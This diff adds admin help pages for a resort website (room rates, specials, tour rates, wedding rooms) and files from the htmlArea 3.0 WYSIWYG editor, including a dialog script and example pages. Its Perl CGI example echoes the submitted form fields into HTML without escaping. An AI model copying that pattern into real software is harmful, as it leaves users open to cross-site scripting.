+This page is for adding new Room Rates into the database.
+When editing is complete, click on the "Insert" button. The database will
+be updated, and you will be directed back to the "List Specials" page.
+</p>
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Room Rates" i.e. "Standard Rooms"</p>
+<p>
+<b>New Image:</b>
+</p>
+<p>
+If you choose, you may upload an image which will be displayed on the
+Detailed output for the Event. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+<p>
+<b>Spring-Fall Daily Rates:</b>
+</p>
+<p>
+This is the Daily Rate Price for the Rooms during the Spring through Fall Period.
+</p>
+<p>
+<b>Spring-Fall Weekend Rates:</b>
+</p>
+<p>
+This is the Weekend Rate Price for the Rooms during the Spring and Fall Periods.
+</p>
+<p>
+<b>Summer Daily Rates:</b>
+</p>
+<p>
+This is the Daily Rate Price for the Rooms during the Summer Period.
+</p>
+<p>
+<b>Summer Weekend Rates:</b>
+</p>
+<p>
+This is the Weekend Rate Price for the Rooms during the Summer Period.
+</p>
+
+<p>
+<b>Insert</b>
+</p>
+<p>When you have entered the correct data for the Room Rate,
+you can click "Insert." This will add the information about the new Item
+in the database.
+</p>
+<?
+ break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Specials Help</H4>
+<hr>
+<?
+switch ($key) {
+ case "list":
+ ?>
+<h4 align="center">List Specials</h4>
+
+<P>
+This page lists the existing Specials from the database.
+</p>
+<p>
+<b>Add A New Special</b>
+</p>
+<p>This link will allow you to add new Special</p>
+<p>
+<b>List Specials</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>[Edit/Delete]</b>
+</p>
+<p>This link will let you edit or delete an existing Special</p>
+<?
+ break;
+
+ case "edit":
+ ?>
+<h4 align="center">Edit a Special</h4>
+<P>
+This page is for editing and modifying an existing Special in the database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "List Specials" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Special" i.e. "Spring Fling Package"</p>
+<p>
+<b>Intro:</b>
+</p>
+<p>This is the text which will introduce the Special on the web page.
+</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will fully describe the Special. This text will be
+displayed below the Special Title and Intro.
+</p>
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Special,
+you can click "Update." This will update the information about the Item
+in the database.
+</p>
+<p>
+<b>Delete</b>
+</p>
+<p>If you want to remove the current Item, press the "Delete" button.
+</p>
+<?
+ break;
+ case "add":
+ ?>
+<h4 align="center">Add A Special</h4>
+<P>
+This page is for adding new Specials in the database.
+When editing is complete, click on the "Insert" button. The database will
+be updated, and you will be directed back to the "List Specials" page.
+</p>
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Special" i.e. "Spring Fling Package"</p>
+<p>
+<b>Intro:</b>
+</p>
+<p>This is the text which will introduce the Special on the web page.
+</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will fully describe the Special. This text will be
+displayed below the Special Title and Intro.
+</p>
+
+<p>
+<b>Insert</b>
+</p>
+<p>When you have entered the correct data for the Special,
+you can click "Insert." This will add the information about the new Item
+in the database.
+</p>
+<?
+ break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Change Text Help</H4>
+<hr>
+<h4 align="center">Home Page Section</h4>
+
+<p>
+<b>Current Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Current Image: header, and a small version of the image.
+</p>
+<b>Delete This Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Delete This Image: header, and "Yes" and "No" radio buttons. If you choose "Yes" and then "Update", you will have permanently removed the "Current Image". The default value is "No."
+</p>
+<p>
+<b>New Image:</b>
+</p>
+<p>
+To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will be displayed with the Photo on the Home Page.
+</p>
+
+
+<hr>
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Updatable Text,
+you can click "Update." This will update the information about each Item
+in the database.
+</p>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Tour Rates Help</H4>
+<hr>
+<?
+switch ($key) {
+ case "list":
+ ?>
+<h4 align="center">List Tour Rates</h4>
+
+<P>
+This page lists the existing Tour Rates from the database.
+</p>
+<p>
+<b>Add A New Tour Rate</b>
+</p>
+<p>This link will allow you to add new Tour Rates</p>
+<p>
+<b>List Tour Rates</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>[Edit/Delete]</b>
+</p>
+<p>This link will let you edit or delete an existing Tour Rate</p>
+<?
+ break;
+
+ case "edit":
+ ?>
+<h4 align="center">Edit a Tour Rate</h4>
+<P>
+This page is for editing and modifying an existing Tour Rate in the database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "List Tour Rates" page.
+</p>
+
+<p>
+<b>Season Title:</b>
+</p>
+<p>This is the title that will appear for the "Tour Rate" i.e. "Spring Rates"</p>
+<p>
+<b>Season Span:</b>
+</p>
+<p>This is the text for the available dates for this Rate i.e. "June 8 - August 25"
+</p>
+<p>
+<b>Room Rate:</b>
+</p>
+<p>This is the Price for this Rate i.e. "$132.00"
+</p>
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Tour Rate,
+you can click "Update." This will update the information about the Item
+in the database.
+</p>
+<p>
+<b>Delete</b>
+</p>
+<p>If you want to remove the current Item, press the "Delete" button.
+</p>
+<?
+ break;
+ case "add":
+ ?>
+<h4 align="center">Add A Tour Rate</h4>
+<P>
+This page is for adding new Tour Rates in the database.
+When editing is complete, click on the "Insert" button. The database will
+be updated, and you will be directed back to the "List Tour Rates" page.
+</p>
+<p>
+<b>Season Title:</b>
+</p>
+<p>This is the title that will appear for the "Tour Rate" i.e. "Spring Rates"</p>
+<p>
+<b>Season Span:</b>
+</p>
+<p>This is the text for the available dates for this Rate i.e. "June 8 - August 25"
+</p>
+<p>
+<b>Room Rate:</b>
+</p>
+<p>This is the Price for this Rate i.e. "$132.00"
+</p>
+<p>
+<b>Insert</b>
+</p>
+<p>When you have entered the correct data for the Wedding Room,
+you can click "Insert." This will add the information about the new Item
+in the database.
+</p>
+<?
+ break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Wedding Rooms Help</H4>
+<hr>
+<?
+switch ($key) {
+ case "list":
+ ?>
+<h4 align="center">List Wedding Rooms</h4>
+
+<P>
+This page lists the existing Wedding Rooms from the database.
+</p>
+<p>
+<b>Add A New Wedding Room</b>
+</p>
+<p>This link will allow you to add new Wedding Room</p>
+<p>
+<b>List Wedding Rooms</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>[Edit/Delete]</b>
+</p>
+<p>This link will let you edit or delete an existing Wedding Room</p>
+<?
+ break;
+
+ case "edit":
+ ?>
+<h4 align="center">Edit a Wedding Room</h4>
+<P>
+This page is for editing and modifying an existing Wedding Room in the database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "List Wedding Rooms" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Wedding Room" i.e. "Mackinac Room"</p>
+<p>
+<b>Capacity:</b>
+</p>
+<p>This is the text for capacity of the room.
+</p>
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Wedding Room,
+you can click "Update." This will update the information about the Item
+in the database.
+</p>
+<p>
+<b>Delete</b>
+</p>
+<p>If you want to remove the current Item, press the "Delete" button.
+</p>
+<?
+ break;
+ case "add":
+ ?>
+<h4 align="center">Add A Wedding Room</h4>
+<P>
+This page is for adding new Wedding Rooms in the database.
+When editing is complete, click on the "Insert" button. The database will
+be updated, and you will be directed back to the "List Wedding Rooms" page.
+</p>
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Wedding Room" i.e. "Mackinac Room"</p>
+<p>
+<b>Capacity:</b>
+</p>
+<p>This is the text for capacity of the room.
+</p>
+
+<p>
+<b>Insert</b>
+</p>
+<p>When you have entered the correct data for the Wedding Room,
+you can click "Insert." This will add the information about the new Item
+in the database.
+</p>
+<?
+ break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<html>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="help/helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<table>
+<TD align=center colspan=2><FONT SIZE=2 FACE="arial,helvetica"><B>HTML Tags</B></FONT><BR>
+ <FONT SIZE=2 FACE="arial,helvetica"><B><B>BOLD</B></B><BR><I><I>ITALIC</I></I><BR><CENTER>CENTER</CENTER><BR>
+ <FONT COLOR="RED"><FONT COLOR="RED">RED</FONT></FONT><BR><BIG><BIG>LARGER FONT SIZE</BIG></BIG>
+ <br><LI>Bullet
+ <br><A HREF="HTTP://www.PLACEYOURWEBURLHERE" TARGET="_BLANK"><A HREF="HTTP://www.gaslightmedia.com" TARGET="_BLANK">Hyperlink</A></A>
+ <br><A HREF="mailto:PLACEEMAILADDRESSHERE" TARGET="_BLANK"><A
+ HREF="mailto:info@gaslightmedia.com" TARGET="_BLANK">E-mail Address</A></A>
+ <BR>&nbsp; A non-breaking space
+ </td>
+</tr>
+</table>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="help/closewindow.gif" border=0></A></CENTER>
+</body>
+</html>
--- /dev/null
+// htmlArea v3.0 - Copyright (c) 2003-2004 interactivetools.com, inc.
+// This copyright notice MUST stay intact for use (see license.txt).
+//
+// Portions (c) dynarch.com, 2003-2004
+//
+// A free WYSIWYG editor replacement for <textarea> fields.
+// For full source code and docs, visit http://www.interactivetools.com/
+//
+// Version 3.0 developed by Mihai Bazon.
+// http://dynarch.com/mishoo
+//
+// $Id: dialog.js,v 1.1.1.1 2006/03/27 14:44:12 cscott Exp $
+
+// Though "Dialog" looks like an object, it isn't really an object. Instead
+// it's just namespace for protecting global symbols.
+
+function Dialog(url, action, init) {
+ if (typeof init == "undefined") {
+ init = window; // pass this window object by default
+ }
+ Dialog._geckoOpenModal(url, action, init);
+};
+
+Dialog._parentEvent = function(ev) {
+ setTimeout( function() { if (Dialog._modal && !Dialog._modal.closed) { Dialog._modal.focus() } }, 50);
+ if (Dialog._modal && !Dialog._modal.closed) {
+ HTMLArea._stopEvent(ev);
+ }
+};
+
+
+// should be a function, the return handler of the currently opened dialog.
+Dialog._return = null;
+
+// constant, the currently opened dialog
+Dialog._modal = null;
+
+// the dialog will read it's args from this variable
+Dialog._arguments = null;
+
+Dialog._geckoOpenModal = function(url, action, init) {
+ var dlg = window.open(url, "hadialog",
+ "toolbar=no,menubar=no,personalbar=no,width=10,height=10," +
+ "scrollbars=no,resizable=yes,modal=yes,dependable=yes");
+ Dialog._modal = dlg;
+ Dialog._arguments = init;
+
+ // capture some window's events
+ function capwin(w) {
+ HTMLArea._addEvent(w, "click", Dialog._parentEvent);
+ HTMLArea._addEvent(w, "mousedown", Dialog._parentEvent);
+ HTMLArea._addEvent(w, "focus", Dialog._parentEvent);
+ };
+ // release the captured events
+ function relwin(w) {
+ HTMLArea._removeEvent(w, "click", Dialog._parentEvent);
+ HTMLArea._removeEvent(w, "mousedown", Dialog._parentEvent);
+ HTMLArea._removeEvent(w, "focus", Dialog._parentEvent);
+ };
+ capwin(window);
+ // capture other frames
+ for (var i = 0; i < window.frames.length; capwin(window.frames[i++]));
+ // make up a function to be called when the Dialog ends.
+ Dialog._return = function (val) {
+ if (val && action) {
+ action(val);
+ }
+ relwin(window);
+ // capture other frames
+ for (var i = 0; i < window.frames.length; relwin(window.frames[i++]));
+ Dialog._modal = null;
+ };
+};
--- /dev/null
+#! /usr/bin/perl -w
+
+use strict;
+use CGI;
+
+my $cgi = new CGI;
+my $text1 = $cgi->param('text1');
+my $text2 = $cgi->param('text2');
+
+print "Content-type: text/html\n\n";
+
+print "<p>You submitted:</p>";
+print "<table border='1'>";
+print "<thead><tr bgcolor='#cccccc'><td width='50%'>text1</td><td width='50%'>text2</td></tr></thead>";
+print "<tbody><tr><td>$text1</td><td>$text2</td></tr></tbody>";
+print "</table>";
--- /dev/null
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
+<html>
+ <head>
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+ <title>Example with 2 HTMLAreas in the same form</title>
+ <script type="text/javascript">
+ // the _editor_url is REQUIRED! don't forget to set it.
+ _editor_url = "../";
+ // implicit language will be "en", but let's set it for brevity
+ _editor_lang = "en";
+ </script>
+ <script type="text/javascript" src="../htmlarea.js"></script>
+ <script type="text/javascript">
+ // load the plugins that we will use
+ // loading is necessary ONLY ONCE, regardless on how many editors you create
+ // basically calling the following functions will load the plugin files as if
+ // we would have wrote script src="..." but with easier and cleaner code
+ HTMLArea.loadPlugin("TableOperations");
+ HTMLArea.loadPlugin("SpellChecker");
+ HTMLArea.loadPlugin("CSS");
+
+ // this function will get called at body.onload
+ function initDocument() {
+ // cache these values as we need to pass it for both editors
+ var css_plugin_args = {
+ combos : [
+ { label: "Syntax",
+ // menu text // CSS class
+ options: { "None" : "",
+ "Code" : "code",
+ "String" : "string",
+ "Comment" : "comment",
+ "Variable name" : "variable-name",
+ "Type" : "type",
+ "Reference" : "reference",
+ "Preprocessor" : "preprocessor",
+ "Keyword" : "keyword",
+ "Function name" : "function-name",
+ "Html tag" : "html-tag",
+ "Html italic" : "html-helper-italic",
+ "Warning" : "warning",
+ "Html bold" : "html-helper-bold"
+ },
+ context: "pre"
+ },
+ { label: "Info",
+ options: { "None" : "",
+ "Quote" : "quote",
+ "Highlight" : "highlight",
+ "Deprecated" : "deprecated"
+ }
+ }
+ ]
+ };
+
+ //---------------------------------------------------------------------
+ // GENERAL PATTERN
+ //
+ // 1. Instantitate an editor object.
+ // 2. Register plugins (note, it's required to have them loaded).
+ // 3. Configure any other items in editor.config.
+ // 4. generate() the editor
+ //
+ // The above are steps that you use to create one editor. Nothing new
+ // so far. In order to create more than one editor, you just have to
+ // repeat those steps for each of one. Of course, you can register any
+ // plugins you want (no need to register the same plugins for all
+ // editors, and to demonstrate that we'll skip the TableOperations
+ // plugin for the second editor). Just be careful to pass different
+ // ID-s in the constructor (you don't want to _even try_ to create more
+ // editors for the same TEXTAREA element ;-)).
+ //
+ // So much for the noise, see the action below.
+ //---------------------------------------------------------------------
+
+
+ //---------------------------------------------------------------------
+ // CREATE FIRST EDITOR
+ //
+ var editor1 = new HTMLArea("text-area-1");
+
+ // plugins must be registered _per editor_. Therefore, we register
+ // plugins for the first editor here, and we will also do this for the
+ // second editor.
+ editor1.registerPlugin(TableOperations);
+ editor1.registerPlugin(SpellChecker);
+ editor1.registerPlugin(CSS, css_plugin_args);
+
+ // custom config must be done per editor. Here we're importing the
+ // stylesheet used by the CSS plugin.
+ editor1.config.pageStyle = "@import url(custom.css);";
+
+ // generate first editor
+ editor1.generate();
+ //---------------------------------------------------------------------
+
+
+ //---------------------------------------------------------------------
+ // CREATE SECOND EDITOR
+ //
+ var editor2 = new HTMLArea("text-area-2");
+
+ // we are using the same plugins
+ editor2.registerPlugin(TableOperations);
+ editor2.registerPlugin(SpellChecker);
+ editor2.registerPlugin(CSS, css_plugin_args);
+
+ // import the CSS plugin styles
+ editor2.config.pageStyle = "@import url(custom.css);";
+
+ // generate the second editor
+ // IMPORTANT: if we don't give it a timeout, the first editor will
+ // not function in Mozilla. Soon I'll think about starting to
+ // implement some kind of event that will fire when the editor
+ // finished creating, then we'll be able to chain the generate()
+ // calls in an elegant way. But right now there's no other solution
+ // than the following.
+ setTimeout(function() {
+ editor2.generate();
+ }, 500);
+ //---------------------------------------------------------------------
+ };
+ </script>
+ </head>
+
+ <body onload="initDocument()">
+ <h1>Example with 2 HTMLAreas in the same form</h1>
+
+ <form action="2-areas.cgi" method="post" target="_blank">
+
+ <input type="submit" value=" Submit " />
+ <br />
+
+ <textarea id="text-area-1" name="text1" style="width: 100%; height: 12em">
+ <h3>HTMLArea #1</h3>
+ <p>This will submit a field named <em>text1</em>.</p>
+ </textarea>
+
+ <br />
+
+ <textarea id="text-area-2" name="text2" style="width: 100%; height: 12em">
+ <h3>Second HTMLArea</h3> <p><em>text2</em> submission. Both are
+ located in the same FORM element and the script action is
+ 2-areas.cgi (see it in the examples directory)</p>
+ </textarea>
+
+ <br />
+ <input type="submit" value=" Submit " />
+
+ </form>
+
+ <hr>
+ <address><a href="http://dynarch.com/mishoo/">Mihai Bazon</a></address>
+<!-- Created: Fri Oct 31 09:37:10 EET 2003 -->
+<!-- hhmts start --> Last modified: Wed Jan 28 11:10:40 EET 2004 <!-- hhmts end -->
+<!-- doc-lang: English -->
+ </body>
+</html>
--- /dev/null
+<html>
+ <head>
+ <title>Test of ContextMenu plugin</title>
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+ <script type="text/javascript">
+ _editor_url = "../";
+ _editor_lang = "en";
+ </script>
+
+ <!-- load the main HTMLArea file -->
+ <script type="text/javascript" src="../htmlarea.js"></script>
+
+ <script type="text/javascript">
+ HTMLArea.loadPlugin("ContextMenu");
+ HTMLArea.loadPlugin("TableOperations");
+
+ function initDocument() {
+ var editor = new HTMLArea("editor");
+ editor.registerPlugin(ContextMenu);
+ editor.registerPlugin(TableOperations);
+ editor.generate();
+ }
+ </script>
+
+ </head>
+
+ <body onload="initDocument()">
+ <h1>Test of ContextMenu plugin</h1>
+
+
+<textarea id="editor" style="height: 30em; width: 100%;">
+<table border="1" style="border: 1px dotted rgb(0, 102, 255); width:
+100%; background-color: rgb(255, 204, 51); background-image: none; float:
+none; text-align: left; vertical-align: top; border-collapse: collapse;"
+summary="" cellspacing="" cellpadding="" frame="box"
+rules="all"><tbody><tr><td style="border: 1px solid
+rgb(255, 0, 0); background-color: rgb(0, 51, 51); background-image: none;
+text-align: left; vertical-align: top;"><a
+href="http://dynarch.com/mishoo/articles.epl?art_id=430"><img
+src="http://127.0.0.1/~mishoo/htmlarea/examples/pieng.png" alt="" align=""
+border="0" hspace="0" vspace="0" /></a></td><td
+style="border: 1px solid rgb(255, 0, 0); background-color: rgb(255, 255, 0);
+background-image: none; text-align: left; vertical-align: top;">The
+article linked on the left image presents a script that allows Internet
+Explorer to use PNG images. We hope to be able to implement IE PNG support
+in HTMLArea soon.<br /> <br /> Go on, right-click everywhere and
+test our new context menus. And be thankful to <a
+href="http://www.americanbible.org/">American Bible Society</a> who
+sponsored the development, <a
+href="http://dynarch.com/mishoo/">mishoo</a> who made it happen and
+God, Who keeps mishoo alife. ;-)<br /> <br /><span
+style="font-style: italic;">P.S.</span> No animals were harmed
+while producing this movie.<br />
+</td></tr><tr><td style="border-style: none;
+background-color: rgb(255, 255, 51); background-image: none; text-align:
+left; vertical-align: top;">Welcome to HTMLArea, the best online
+editor.<br /></td><td>HTMLArea is a project initiated by
+<a href="http://interactivetools.com/">InteractiveTools.com</a>.
+Other companies contributed largely by sponsoring the development of
+additional extensions. Many thanks to:<br /> <br
+style="font-family: courier new,courier,monospace;" /> <div
+style="margin-left: 40px;"><a href="http://www.zapatec.com/"
+style="font-family: courier
+new,courier,monospace;">http://www.zapatec.com</a><br
+style="font-family: courier new,courier,monospace;" /> <a
+href="http://www.americanbible.org/" style="font-family: courier
+new,courier,monospace;">http://www.americanbible.org</a><br
+style="font-family: courier new,courier,monospace;" /> <a
+href="http://www.neomedia.ro/" style="font-family: courier
+new,courier,monospace;">http://www.neomedia.ro</a><br
+style="font-family: courier new,courier,monospace;" /> <a
+href="http://www.os3.it/" style="font-family: courier
+new,courier,monospace;">http://www.os3.it</a><br
+style="font-family: courier new,courier,monospace;" /> <a
+href="http://www.miro.com.au/" style="font-family: courier
+new,courier,monospace;">http://www.miro.com.au</a><br
+style="font-family: courier new,courier,monospace;" /> <a
+href="http://www.thycotic.com/" style="font-family: courier
+new,courier,monospace;">http://www.thycotic.com</a><br />
+</div> <br /> and to all the posters at <a
+href="http://www.interactivetools.com/iforum/Open_Source_C3/htmlArea_v3.0_-_Alpha_Release_F14/
+">InteractiveTools</a> HTMLArea forums, whose feedback is continually
+useful in polishing HTMLArea.<br /> <br /><div
+style="text-align: right;">-- developers and maintainers of version 3,
+<a href="http://dynarch.com/">dynarch.com</a>.<br
+/></div></td></tr></tbody></table>
+ </textarea>
+
+ <hr />
+ <address><a href="http://dynarch.com/mishoo/">Mihai Bazon</a></address>
+<!-- Created: Wed Oct 1 19:55:37 EEST 2003 -->
+<!-- hhmts start --> Last modified: Wed Jan 28 11:10:29 EET 2004 <!-- hhmts end -->
+<!-- doc-lang: English -->
+ </body>
+</html>
--- /dev/null
+<html>
+<head>
+<title>Example of HTMLArea 3.0</title>
+
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+
+<!-- Configure the path to the editor. We make it relative now, so that the
+ example ZIP file will work anywhere, but please NOTE THAT it's better to
+ have it an absolute path, such as '/htmlarea/'. -->
+<script type="text/javascript">
+ _editor_url = "../";
+ _editor_lang = "en";
+</script>
+<script type="text/javascript" src="../htmlarea.js"></script>
+
+<style type="text/css">
+html, body {
+ font-family: Verdana,sans-serif;
+ background-color: #fea;
+ color: #000;
+}
+a:link, a:visited { color: #00f; }
+a:hover { color: #048; }
+a:active { color: #f00; }
+
+textarea { background-color: #fff; border: 1px solid 00f; }
+</style>
+
+<script type="text/javascript">
+var editor = null;
+function initEditor() {
+ editor = new HTMLArea("ta");
+
+ // comment the following two lines to see how customization works
+ editor.generate();
+ return false;
+
+ var cfg = editor.config; // this is the default configuration
+ cfg.registerButton({
+ id : "my-hilite",
+ tooltip : "Highlight text",
+ image : "ed_custom.gif",
+ textMode : false,
+ action : function(editor) {
+ editor.surroundHTML("<span class=\"hilite\">", "</span>");
+ },
+ context : 'table'
+ });
+
+ cfg.toolbar.push(["linebreak", "my-hilite"]); // add the new button to the toolbar
+
+ // BEGIN: code that adds a custom button
+ // uncomment it to test
+ var cfg = editor.config; // this is the default configuration
+ /*
+ cfg.registerButton({
+ id : "my-hilite",
+ tooltip : "Highlight text",
+ image : "ed_custom.gif",
+ textMode : false,
+ action : function(editor) {
+ editor.surroundHTML("<span class=\"hilite\">", "</span>");
+ }
+ });
+ */
+
+function clickHandler(editor, buttonId) {
+ switch (buttonId) {
+ case "my-toc":
+ editor.insertHTML("<h1>Table Of Contents</h1>");
+ break;
+ case "my-date":
+ editor.insertHTML((new Date()).toString());
+ break;
+ case "my-bold":
+ editor.execCommand("bold");
+ editor.execCommand("italic");
+ break;
+ case "my-hilite":
+ editor.surroundHTML("<span class=\"hilite\">", "</span>");
+ break;
+ }
+};
+cfg.registerButton("my-toc", "Insert TOC", "ed_custom.gif", false, clickHandler);
+cfg.registerButton("my-date", "Insert date/time", "ed_custom.gif", false, clickHandler);
+cfg.registerButton("my-bold", "Toggle bold/italic", "ed_custom.gif", false, clickHandler);
+cfg.registerButton("my-hilite", "Hilite selection", "ed_custom.gif", false, clickHandler);
+
+cfg.registerButton("my-sample", "Class: sample", "ed_custom.gif", false,
+ function(editor) {
+ if (HTMLArea.is_ie) {
+ editor.insertHTML("<span class=\"sample\"> </span>");
+ var r = editor._doc.selection.createRange();
+ r.move("character", -2);
+ r.moveEnd("character", 2);
+ r.select();
+ } else { // Gecko/W3C compliant
+ var n = editor._doc.createElement("span");
+ n.className = "sample";
+ editor.insertNodeAtSelection(n);
+ var sel = editor._iframe.contentWindow.getSelection();
+ sel.removeAllRanges();
+ var r = editor._doc.createRange();
+ r.setStart(n, 0);
+ r.setEnd(n, 0);
+ sel.addRange(r);
+ }
+ }
+);
+
+
+ /*
+ cfg.registerButton("my-hilite", "Highlight text", "ed_custom.gif", false,
+ function(editor) {
+ editor.surroundHTML('<span class="hilite">', '</span>');
+ }
+ );
+ */
+ cfg.pageStyle = "body { background-color: #efd; } .hilite { background-color: yellow; } "+
+ ".sample { color: green; font-family: monospace; }";
+ cfg.toolbar.push(["linebreak", "my-toc", "my-date", "my-bold", "my-hilite", "my-sample"]); // add the new button to the toolbar
+ // END: code that adds a custom button
+
+ editor.generate();
+}
+function insertHTML() {
+ var html = prompt("Enter some HTML code here");
+ if (html) {
+ editor.insertHTML(html);
+ }
+}
+function highlight() {
+ editor.surroundHTML('<span style="background-color: yellow">', '</span>');
+}
+</script>
+
+</head>
+
+<!-- use <body onload="HTMLArea.replaceAll()" if you don't care about
+ customizing the editor. It's the easiest way! :) -->
+<body onload="initEditor()">
+
+<h1>HTMLArea 3.0</h1>
+
+<p>A replacement for <code>TEXTAREA</code> elements. © <a
+href="http://interactivetools.com">InteractiveTools.com</a>, 2003-2004.</p>
+
+<form action="test.cgi" method="post" id="edit" name="edit">
+
+<textarea id="ta" name="ta" style="width:100%" rows="20" cols="80">
+ <p>Here is some sample text: <b>bold</b>, <i>italic</i>, <u>underline</u>. </p>
+ <p align=center>Different fonts, sizes and colors (all in bold):</p>
+ <p><b>
+ <font face="arial" size="7" color="#000066">arial</font>,
+ <font face="courier new" size="6" color="#006600">courier new</font>,
+ <font face="georgia" size="5" color="#006666">georgia</font>,
+ <font face="tahoma" size="4" color="#660000">tahoma</font>,
+ <font face="times new roman" size="3" color="#660066">times new roman</font>,
+ <font face="verdana" size="2" color="#666600">verdana</font>,
+ <font face="tahoma" size="1" color="#666666">tahoma</font>
+ </b></p>
+ <p>Click on <a href="http://www.interactivetools.com/">this link</a> and then on the link button to the details ... OR ... select some text and click link to create a <b>new</b> link.</p>
+</textarea>
+
+<p />
+
+<input type="submit" name="ok" value=" submit " />
+<input type="button" name="ins" value=" insert html " onclick="return insertHTML();" />
+<input type="button" name="hil" value=" highlight text " onclick="return highlight();" />
+
+<a href="javascript:mySubmit()">submit</a>
+
+<script type="text/javascript">
+function mySubmit() {
+// document.edit.save.value = "yes";
+document.edit.onsubmit(); // workaround browser bugs.
+document.edit.submit();
+};
+</script>
+
+</form>
+
+</body>
+</html>
--- /dev/null
+<html>
+ <head>
+ <title>Test of CSS plugin</title>
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+ <script type="text/javascript">
+ _editor_url = "../";
+ _editor_lang = "en";
+ </script>
+
+ <!-- load the main HTMLArea files -->
+ <script type="text/javascript" src="../htmlarea.js"></script>
+
+ <script type="text/javascript">
+ HTMLArea.loadPlugin("CSS");
+
+ function initDocument() {
+ var editor = new HTMLArea("editor");
+ editor.config.pageStyle = "@import url(custom.css);";
+ editor.registerPlugin(CSS, {
+ combos : [
+ { label: "Syntax",
+ // menu text // CSS class
+ options: { "None" : "",
+ "Code" : "code",
+ "String" : "string",
+ "Comment" : "comment",
+ "Variable name" : "variable-name",
+ "Type" : "type",
+ "Reference" : "reference",
+ "Preprocessor" : "preprocessor",
+ "Keyword" : "keyword",
+ "Function name" : "function-name",
+ "Html tag" : "html-tag",
+ "Html italic" : "html-helper-italic",
+ "Warning" : "warning",
+ "Html bold" : "html-helper-bold"
+ },
+ context: "pre"
+ },
+ { label: "Info",
+ options: { "None" : "",
+ "Quote" : "quote",
+ "Highlight" : "highlight",
